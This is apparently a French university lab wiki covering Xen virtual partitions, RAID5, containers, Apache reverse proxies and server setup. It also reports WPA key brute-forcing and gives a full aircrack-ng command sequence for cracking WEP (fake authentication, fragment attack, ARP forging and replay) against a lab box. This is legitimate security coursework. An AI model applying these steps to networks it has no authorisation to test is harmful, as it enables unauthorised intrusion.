Une première estimation du pire temps nous indique 7h de traitement. Finalement après quelque heures, la solution est trouvée :&lt;br /&gt;
&lt;br /&gt;
[[fichier:Keyfound.png|center]]&lt;br /&gt;
&lt;br /&gt;
L'image ci dessus nous montre enfin la clé WPA de cracotte04.&lt;br /&gt;
Ce processus nous fait réaliser que la méthode de brute-force est très peu efficace (7h de traitement sur les zabeth), un mot de passe avec des caractères spéciaux, chiffres, majuscules, minuscules et beaucoup de caractères sera donc impossible à casser avec cette méthode.&lt;br /&gt;
&lt;br /&gt;
==Utilisation de partitions virtuelles==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie nous allons mettre en place des partitions virtuelles dans notre machine, ces partitions étant hébergées sur cordouan.&lt;br /&gt;
&lt;br /&gt;
On commence par créer les partitions sur cordouan :&lt;br /&gt;
&lt;br /&gt;
  lvcreate -L10G -n aphrodite-home virtual&lt;br /&gt;
  lvcreate -L10G -n aphrodite-var virtual&lt;br /&gt;
&lt;br /&gt;
  lvcreate -L10G -n aphrodite-part1 virtual&lt;br /&gt;
  lvcreate -L10G -n aphrodite-part2 virtual&lt;br /&gt;
  lvcreate -L10G -n aphrodite-part3 virtual&lt;br /&gt;
&lt;br /&gt;
On ajoute ces partitions dans /etc/xen/aphrodite.cfg :&lt;br /&gt;
&lt;br /&gt;
  disk = [&lt;br /&gt;
  		'file:/usr/local/xen/domains/Aphrodite/disk.img,xvda2,w',&lt;br /&gt;
  		'file:/usr/local/xen/domains/Aphrodite/swap.img,xvda1,w',&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-home,xvdb1,w',&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-var,xvdc1,w'&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-part1,xvdd1,w'&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-part2,xvde1,w'&lt;br /&gt;
  		'phy:/dev/virtual/aphrodite-part3,xvdf1,w'&lt;br /&gt;
  	 ]&lt;br /&gt;
&lt;br /&gt;
Les deux premières partitions serviront à var et home, et les trois suivantes serviront à créer un raid logiciel.&lt;br /&gt;
&lt;br /&gt;
Afin que les modifications soient effectives, on reboot la VM.&lt;br /&gt;
&lt;br /&gt;
===Var et Home===&lt;br /&gt;
&lt;br /&gt;
De retour sur la VM, on créé un système de fichiers sur /dev/xvdb1 et /dev/xvdc1 :&lt;br /&gt;
&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
  mkfs -t ext4 /dev/xvdc1&lt;br /&gt;
&lt;br /&gt;
Le home de notre VM étant vide, nous pouvons directement monter la nouvelle partition. Pour cela, on se rend dans /etc/fstab, et on modifie le point de montage existant du home :&lt;br /&gt;
&lt;br /&gt;
  /dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
C'en est tout pour le home, passons au var. La procédure sera légèrement différente dans le sens ou nous souhaitons sauver le contenu de notre var.&lt;br /&gt;
&lt;br /&gt;
Pour cela, nous allons créer un point de montage temporaire de notre nouvelle partition var :&lt;br /&gt;
&lt;br /&gt;
  mkdir /mnt_var&lt;br /&gt;
  mount /dev/xvdc1 /mnt_var&lt;br /&gt;
&lt;br /&gt;
Nous transférons le contenu de notre ancier dossier var dans la nouvelle partition précédemment montée :&lt;br /&gt;
&lt;br /&gt;
  cd /var&lt;br /&gt;
  cp -ax * /mnt_var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous faisons ensuite un backup de notre ancien dossier var :&lt;br /&gt;
&lt;br /&gt;
  mv /var /var.old&lt;br /&gt;
&lt;br /&gt;
On recrée le point de montage, on démonte le point de montage temporaire et on monte le nouveau var :&lt;br /&gt;
&lt;br /&gt;
  mkdir /var&lt;br /&gt;
  umount /dev/xvdc1&lt;br /&gt;
  mount /dev/xvdc1 /var&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que tout est ok en lançant un apt-get update et vérifier qu'il n'y a pas de souci.&lt;br /&gt;
&lt;br /&gt;
Ceci étant validé, il nous reste à ajouter la ligne suivante au /etc/fstab pour que le var soit monté à chaque démarrage de la VM :&lt;br /&gt;
&lt;br /&gt;
  /dev/xvdc1 /var ext4 defaults 0 0&lt;br /&gt;
&lt;br /&gt;
Pour terminer, après avoir vérifié que tout est en ordre, on fait un peu de ménage :&lt;br /&gt;
&lt;br /&gt;
  rm -r /mnt_var&lt;br /&gt;
  rn -r /var.old&lt;br /&gt;
&lt;br /&gt;
===RAID===&lt;br /&gt;
Nous allons maintenant créer un RAID5 logiciel constitué des 3 partitions créées précédemment.&lt;br /&gt;
Pour ce faire, nous utiliserons l'utilitaire mdadm.&lt;br /&gt;
&lt;br /&gt;
Les trois partitions sont sur /dev/xvdd1, /dev/xvde1, et /dev/xvdf1.&lt;br /&gt;
&lt;br /&gt;
Nous allons donc créer le raid5 sur /dev/md0&lt;br /&gt;
&lt;br /&gt;
  mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd1 /dev/xvde1 /dev/xvdf1&lt;br /&gt;
&lt;br /&gt;
On créé ensuite un filesystem dans la nouvelle partition raid :&lt;br /&gt;
&lt;br /&gt;
  mkfs -t ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
On créé un point de montage et on monte la partition :&lt;br /&gt;
&lt;br /&gt;
  mkdir /mnt_raid5&lt;br /&gt;
  mount /dev/md0 /mnt_raid5&lt;br /&gt;
&lt;br /&gt;
On automatise la création de la grappe :&lt;br /&gt;
&lt;br /&gt;
  mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Enfin, on automatise le montage de la partition en ajoutant la ligne suivante au /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
  /dev/md0 /mnt_raid5/ ext4 defaults 0 1&lt;br /&gt;
&lt;br /&gt;
Le lancement de la commande suivante permet de confirmer que tout est ok :&lt;br /&gt;
&lt;br /&gt;
  mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
[[fichier:Raid5.png|center]]&lt;br /&gt;
&lt;br /&gt;
=Séance 6=&lt;br /&gt;
==Crack de réseau WEP==&lt;br /&gt;
Nous avons essayé en classe de cracker les cracottes configurées en WEP, et nous nous sommes retrouvés face à deux problèmes :&lt;br /&gt;
&lt;br /&gt;
1) Bien que la découverte des réseaux et du handshake se soit déroulés à merveille sur mon ordinateur avec sa carte wifi Qualcomm Atheros QCA9565 / AR9565, ici il m'était impossible de voir les réseaux WEP correctement avec airodump, je voyais des channel -1 et beaucoup d'autres choses abérantes. Après quelque recherches, des drivers non adaptés seraient la cause du souci. Je passe donc sur les dongles wifi mis à disposition.&lt;br /&gt;
&lt;br /&gt;
2) Avec les dongles wifi, il n'y avais plus d'incohérences, mais je n'ai pas réussi à obtenir suffisamment de data pour cracker le réseau. Cela s'explique notemment par le fait qu'aucun client n'était connecté sur la cracotte, je ne pouvais pas faire d'attaque par deauthentication.&lt;br /&gt;
&lt;br /&gt;
J'ai donc configuré une bbox en WEP avec le mot de passe le plus long (26 caractères), non connectée à internet, et uniquement connectée un smartphone.&lt;br /&gt;
Je boot ensuite un kali linux, l'image intégrant des drivers compatibles avec aircrack. L'operation peut commencer.&lt;br /&gt;
&lt;br /&gt;
On liste les interfaces réseau :&lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
&lt;br /&gt;
Mon interface s'appelle wlan0, je la passe en monitor mode :&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start wlan0&lt;br /&gt;
&lt;br /&gt;
Maintenant l'interface s'appelle wlan0mon. On lance le scan des réseaux WEP :&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
[[fichier:Screenshot from 2018-12-17 22-01-04 2.png|center]]&lt;br /&gt;
&lt;br /&gt;
La box que nous allons attaquer s'appelle BOX_PRA. On récupère son BSSID, sa channel, et on lance la capture dans un fichier wep-*.cap :&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --bssid 64:7C:34:76:CF:8C --ch 9 --write wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
La chose qui nous intéresse ici est le nombre de data. Plus son nombre est grand, plus nous avons de chance d'avoir les infos qui nous permetteront de décrypter la clé WEP. Un bon ordre de grandeur est autour de 20000.&lt;br /&gt;
Malheureusement ce nombre de data n'augmente pas rapidement car le trafic est quasi nul. C'est pourquoi nous allons faire de fausses connections à labos, ce qui nous permettra d'injecter par la suite des paquets ARP :&lt;br /&gt;
&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 64:7C:34:76:CF:8C wlan0mon&lt;br /&gt;
&lt;br /&gt;
Afin de générer le paquet ARP, nous allons utiliser une attaque &amp;quot;fragment&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
  aireplay-ng --fragment -b 64:7C:34:76:CF:8C -r wep-01.cap wlan0mon&lt;br /&gt;
&lt;br /&gt;
Si l'attaque réussit, nous pouvons voir &amp;quot;GET A RELAYED PACKET&amp;quot;. Ceci nous permet de générer un keystream, qui nous sera utile pour générer le paquet ARP :&lt;br /&gt;
&lt;br /&gt;
  packetforge-ng --arp -a 64:7C:34:76:CF:8C -h EC:0E:C4:0E:FD:71 -k 192.168.1.2 -l 192.168.1.254 -y fragment-1217-222915.xor -w arp&lt;br /&gt;
&lt;br /&gt;
On sait que la box est une bbox, cette dernière utilise apr défaut l'ip 192.168.1.254. On choisit arbitrairement 192.168.1.2 comme IP destinée à recevoir le paquet. On choisit aussi une MAC correcpondant à un 'client'.&lt;br /&gt;
Notre paquet ARP est maintenant prêt, on lance l'injection :&lt;br /&gt;
&lt;br /&gt;
  aireplay-ng --arpreplay -b 64:7C:34:76:CF:8C -r arp wlan0mon&lt;br /&gt;
&lt;br /&gt;
Au lancement,on remarque que le nombre de data capturées augmente significativement, pour ensuite s'arrêter lorsqu'un client régulier s'est fait déconnecter. On arrête l'injection, et on recommence quelque secondes plus tard.&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de data suffisant, on lance le crack :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng wep-01.cap&lt;br /&gt;
&lt;br /&gt;
Et KEY FOUND !&lt;br /&gt;
&lt;br /&gt;
[[fichier:Screenshot from 2018-12-17 22-37-26.png|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Pour conclure, on comprend bien ici pourquoi la sécurisation WEP a disparu : un réseau sécurisé avec le nombre maximum de caractères est piratable en quelque minutes, sans le moindre dictionnaire, uniquement avec des paquets récupérés. Le WPA est donc une excellente alternative au WEP.&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Screenshot_from_2018-12-17_22-01-04_2.png&amp;diff=48957</id>
		<title>Fichier:Screenshot from 2018-12-17 22-01-04 2.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Screenshot_from_2018-12-17_22-01-04_2.png&amp;diff=48957"/>
				<updated>2018-12-17T22:45:56Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48956</id>
		<title>TP sysres IMA5sc 2018/2019 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48956"/>
				<updated>2018-12-17T22:32:09Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : /* Séance 6 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Séance 1 : TP ASR=&lt;br /&gt;
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.&lt;br /&gt;
&lt;br /&gt;
==Création d'un container avec unshare==&lt;br /&gt;
&lt;br /&gt;
===Création de l'image disque===&lt;br /&gt;
  dd if=/dev/zero of=disc1.img bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
===Mise en place du file system===&lt;br /&gt;
  mkfs disc1.img&lt;br /&gt;
&lt;br /&gt;
===Création du point de montage et montage de l'image===&lt;br /&gt;
  mkdir /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Installation du debian dans le point de montage===&lt;br /&gt;
Afin de pouvoir installer debian, il faut que la machine accède à internet :&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
&lt;br /&gt;
debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :&lt;br /&gt;
&lt;br /&gt;
  debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Simplification de l'accès===&lt;br /&gt;
  echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; /tmp/rootfs1/etc/fstab&lt;br /&gt;
&lt;br /&gt;
===Clonage des images===&lt;br /&gt;
  L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :&lt;br /&gt;
&lt;br /&gt;
  umount /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
On copie l'image :&lt;br /&gt;
&lt;br /&gt;
  cp disc1.img disc2.img&lt;br /&gt;
  cp disc1.img disc3.img&lt;br /&gt;
&lt;br /&gt;
On monte les 3 images :&lt;br /&gt;
&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc2.img /tmp/rootfs2&lt;br /&gt;
  mount -o loop disc3.img /tmp/rootfs3&lt;br /&gt;
&lt;br /&gt;
===Lancement des trois containers===&lt;br /&gt;
  unshare nous permet de lancer les trois images précédemment montées :&lt;br /&gt;
&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Les trois containers sont maintenant lancés, nous pouvons travailler dessus.&lt;br /&gt;
&lt;br /&gt;
==Mise en place du réseau==&lt;br /&gt;
&lt;br /&gt;
Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.&lt;br /&gt;
&lt;br /&gt;
===Création de 4 interfaces virtuelles===&lt;br /&gt;
&lt;br /&gt;
  ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
  ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
  ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
  ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
===Connexion de chaque interface à une interface eth0 sur les containers===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth0@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif2 netns /proc/&amp;lt;pid2&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif3 netns /proc/&amp;lt;pid3&amp;gt;/ns/net name eth0&lt;br /&gt;
&lt;br /&gt;
pid1, pid2, pid3 peuvent être déterminés via la commande :&lt;br /&gt;
  ps aux | grep unshare&lt;br /&gt;
&lt;br /&gt;
===Connexion à eth1 sur le premier container===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth1@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth1&lt;br /&gt;
&lt;br /&gt;
===Création d'un bridge===&lt;br /&gt;
&lt;br /&gt;
  ip link add interne type bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif4 à bridge===&lt;br /&gt;
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge&lt;br /&gt;
&lt;br /&gt;
  ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif1, vif2, vif3 à interne===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 master interne&lt;br /&gt;
  ip link set vif2 master interne&lt;br /&gt;
  ip link set vif3 master interne&lt;br /&gt;
&lt;br /&gt;
===Activation de toutes les interfaces===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 up&lt;br /&gt;
  ip link set vif2 up&lt;br /&gt;
  ip link set vif3 up&lt;br /&gt;
  ip link set bridge up&lt;br /&gt;
  ip link set interne up&lt;br /&gt;
&lt;br /&gt;
===Attribution des adresses ip===&lt;br /&gt;
&lt;br /&gt;
On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth0 192.168.4.1/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID2&amp;gt; -n ip address add dev eth0 192.168.4.2/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID3&amp;gt; -n ip address add dev eth0 192.168.4.3/24&lt;br /&gt;
&lt;br /&gt;
On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth1 172.26.145.234/24&lt;br /&gt;
&lt;br /&gt;
===Activation des interfaces sur les containers&amp;gt;===&lt;br /&gt;
Sur chaque containers, lancer :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth0 up&lt;br /&gt;
  ip link set dev lo up&lt;br /&gt;
&lt;br /&gt;
Ainsi que sur le container 1 :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth1 up&lt;br /&gt;
&lt;br /&gt;
Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :&lt;br /&gt;
&lt;br /&gt;
  bridge : eth0 eth1 vif4&lt;br /&gt;
&lt;br /&gt;
  interne : vif1 vif2 vif3&lt;br /&gt;
&lt;br /&gt;
Et donc :&lt;br /&gt;
 root@zabeth04:/home/pifou# brctl show&lt;br /&gt;
 bridge name	bridge id		STP enabled	interfaces&lt;br /&gt;
 br-d8330a30a134		8000.0242b8ae38c5	no&lt;br /&gt;
 bridge		8000.00224d7aeaa1	no		eth0&lt;br /&gt;
                                         eth1&lt;br /&gt;
                                         vif4&lt;br /&gt;
 docker0		8000.0242ad165937	no		veth0b1f71b&lt;br /&gt;
 interne		8000.3ee68d5b1e14	no		vif1&lt;br /&gt;
                                         vif2&lt;br /&gt;
                                         vif3&lt;br /&gt;
&lt;br /&gt;
=Séance 2 : TP ASR (suite)=&lt;br /&gt;
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.&lt;br /&gt;
&lt;br /&gt;
==Attribution des noms de domaine==&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.&lt;br /&gt;
&lt;br /&gt;
Onglet Domaines, on choisit le domaine plil.space.&lt;br /&gt;
&lt;br /&gt;
Onglet DNS Records, on ajoute un DNS type A :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham2&lt;br /&gt;
  IP : 172.26.145.234&lt;br /&gt;
&lt;br /&gt;
Puis on ajoute deux DNS type Cname :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham1 &amp;amp; tham3&lt;br /&gt;
  Nom d'hote : tham2&lt;br /&gt;
&lt;br /&gt;
De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space&lt;br /&gt;
&lt;br /&gt;
==Configuration d'apache2==&lt;br /&gt;
&lt;br /&gt;
===Fichier conf===&lt;br /&gt;
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  	ServerName tham1.plil.space&lt;br /&gt;
  	ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham1/&lt;br /&gt;
  &lt;br /&gt;
  	ProxyPass / http://192.168.4.2/&lt;br /&gt;
  	ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
  	ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  	CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName tham3.plil.space&lt;br /&gt;
      ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham3/&lt;br /&gt;
  	&lt;br /&gt;
      ProxyPass / http://192.168.4.3/&lt;br /&gt;
      ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
      ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
      CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)&lt;br /&gt;
&lt;br /&gt;
===Activation des modules proxy et proxy_http===&lt;br /&gt;
&lt;br /&gt;
  a2enmod proxy&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
&lt;br /&gt;
===Activation du site===&lt;br /&gt;
&lt;br /&gt;
  a2ensite 000-default.conf&lt;br /&gt;
&lt;br /&gt;
Tout est maintenant configuré, on peut donc rebooter apache :&lt;br /&gt;
&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Création d'une page web===&lt;br /&gt;
&lt;br /&gt;
Dans les containers 2 et 3 on créé une simple page web et on reboot apache :&lt;br /&gt;
&lt;br /&gt;
Container 2 :&lt;br /&gt;
&lt;br /&gt;
  cat 1 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Container 3 :&lt;br /&gt;
&lt;br /&gt;
  cat 3 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Visualisation de la page web===&lt;br /&gt;
&lt;br /&gt;
On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :&lt;br /&gt;
&lt;br /&gt;
  tham1.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 1&lt;br /&gt;
&lt;br /&gt;
  tham3.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 3&lt;br /&gt;
&lt;br /&gt;
==Création d'un conteneur avec Docker :==&lt;br /&gt;
Nos conteneurs et serveur web fonctionnent très bien, mais la procedure de création est relativement longue, c'est pour cela que nous allons utiliser Docker pour recréer nos conteneurs et les gérer.&lt;br /&gt;
&lt;br /&gt;
===Création d'une première image :===&lt;br /&gt;
Nous avons créé un premier container à l'aide la commande :&lt;br /&gt;
 docker run -i -t debian /bin/bash&lt;br /&gt;
Exporte de la variable d'environement hhtp_proxy :&lt;br /&gt;
 export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
Instalation d'un éditeur de texte et d'un serveur web :&lt;br /&gt;
 apt-get install nano vi apache2&lt;br /&gt;
&lt;br /&gt;
===Création de trois conteneurs dans un même réseau :===&lt;br /&gt;
Avec un &amp;lt;code&amp;gt;docker ps&amp;lt;/code&amp;gt; nous avons recupérer l'id du conteneur puis :&lt;br /&gt;
 docker commit -m &amp;quot;debian&amp;quot; 367f5e8adddf&lt;br /&gt;
Création d'un réseau :&lt;br /&gt;
 docker network create tham&lt;br /&gt;
Création des trois conteneurs à partir de l'image, en veillant à bien relier le port 80 du reverse proxy au port 80 de la machine : &lt;br /&gt;
 docker run --net tham -i -t b7f9916f224e /bin/bash&lt;br /&gt;
 docker run --net tham -i -t b7f9916f224e /bin/bash&lt;br /&gt;
 docker run --net tham -p 80:80 -i -t b7f9916f224e /bin/bash&lt;br /&gt;
Et donc :&lt;br /&gt;
 root@zabeth04:/home/pifou# docker ps&lt;br /&gt;
 CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                    NAMES&lt;br /&gt;
 8e4a821cf3a3        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              18 minutes ago      Up 18 minutes                                confident_leakey&lt;br /&gt;
 c5ec790866ae        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              19 minutes ago      Up 19 minutes                                objective_golick&lt;br /&gt;
 b287061163af        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              22 minutes ago      Up 22 minutes       0.0.0.0:80-&amp;gt;80/tcp       objective_bhabha&lt;br /&gt;
 8ee36885e7fb        registry:2          &amp;quot;/entrypoint.sh /etc…&amp;quot;   5 weeks ago         Up 38 minutes       0.0.0.0:5000-&amp;gt;5000/tcp   registry&lt;br /&gt;
&lt;br /&gt;
===Configuration de apache2 :===&lt;br /&gt;
Comme fait avant nous allons atribuer des noms de domaines aux adresse ip des conteneurs, sachant que l'adresse ip du DNS A est la même que l'adresse ip de la machine physique&lt;br /&gt;
Puis dans &amp;lt;code&amp;gt;/etc/apache2/sites-available/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 &lt;br /&gt;
 root@zabeth04:/etc/apache2/sites-available# cat 000-default.conf&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
 	 ServerName tham1.plil.space&lt;br /&gt;
 	 ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
 	 DocumentRoot /var/www/html/tham1/&lt;br /&gt;
 &lt;br /&gt;
 	 ProxyPass / http://192.168.4.2/&lt;br /&gt;
 	 ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
 	 ProxyRequests Off&lt;br /&gt;
 &lt;br /&gt;
 	 ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
 	 CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName tham3.plil.space&lt;br /&gt;
         ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
 	 DocumentRoot /var/www/html/tham3/&lt;br /&gt;
 &lt;br /&gt;
         ProxyPass / http://192.168.4.3/&lt;br /&gt;
         ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
         ProxyRequests Off&lt;br /&gt;
 &lt;br /&gt;
 	 ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
         CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 # vim: syntax=apache ts=4 sw=4 sts=4 sr noet&lt;br /&gt;
Après avoir modifer notre fichier html et relancer apache2, nous obtenant bien un résultat identique à celui d'avant.&lt;br /&gt;
&lt;br /&gt;
11h10 =&amp;gt; Serveurs Web OK (unshare)&lt;br /&gt;
&lt;br /&gt;
12h20 =&amp;gt; Serveurs Web OK (docker)&lt;br /&gt;
&lt;br /&gt;
=Séance 3 : TP PRA=&lt;br /&gt;
Le sujet choisi ici est le sujet n°10 : HP + DAS -&amp;gt; Baie.&lt;br /&gt;
Notre travail consiste à installer un OS Devuan sur un serveur HP et ensuite le connecter à un DAS HP.&lt;br /&gt;
&lt;br /&gt;
==Le matériel==&lt;br /&gt;
Le serveur est un HP ProLiant DL380 G5, ses caractéristiques sont les suivantes :&lt;br /&gt;
&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
&lt;br /&gt;
Le SAS est un HP StorageWorks MSA60.&lt;br /&gt;
Au départ nous pouvons voir qu'il est peuplé de 11 disques durs SATA classiques (pas comme le serveurs qui est peuplé de disques SATA dont le connecteur physique est spécifique HP). Chaque disque dur a une capacité de 1To.&lt;br /&gt;
&lt;br /&gt;
Sur le panneau arrière nous constatons qu'il  y a une redondance d'alimentations, et deux connecteurs SAS SFF-8088 (io/out)&lt;br /&gt;
&lt;br /&gt;
==Mise en route du serveur==&lt;br /&gt;
Lors de la mise en route du serveur, nous constations trois problèmes :&lt;br /&gt;
 -Les ventilateurs tournent à  100% sans arrêt.&lt;br /&gt;
 -La LED internal health clignote rouge.&lt;br /&gt;
 -Un bip long est émis périodiquement.&lt;br /&gt;
&lt;br /&gt;
De ce fait, nous avons ouvert le serveur, et une inspection visuelle montrera que ce dernier était dépourvu de RAM. Après consultation du manuel, nous avons vu que la RAM nécessaire était de la DDR2 ECC Registred.&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite monté 2x1Go de RAM sur le slot 1 et 3 correspondant au channel A.&lt;br /&gt;
&lt;br /&gt;
Une fois remonté, le serveur bootait correctement.&lt;br /&gt;
&lt;br /&gt;
==Installation de Devuan==&lt;br /&gt;
Le serveur peut booter sur un périphérique USB, nous avons donc récupéré une clé avec un Devuan bootable installé dessus. Après avoir mis la clé en premier boot dans le bios, le serveur boot sans souci sur la clé.&lt;br /&gt;
Le souci que nous allons rencontrer se trouve au moment du partitionnement. De vieilles grappes RAID sont toujours configurées et plus d'actualité, nous allons donc y remédier.&lt;br /&gt;
&lt;br /&gt;
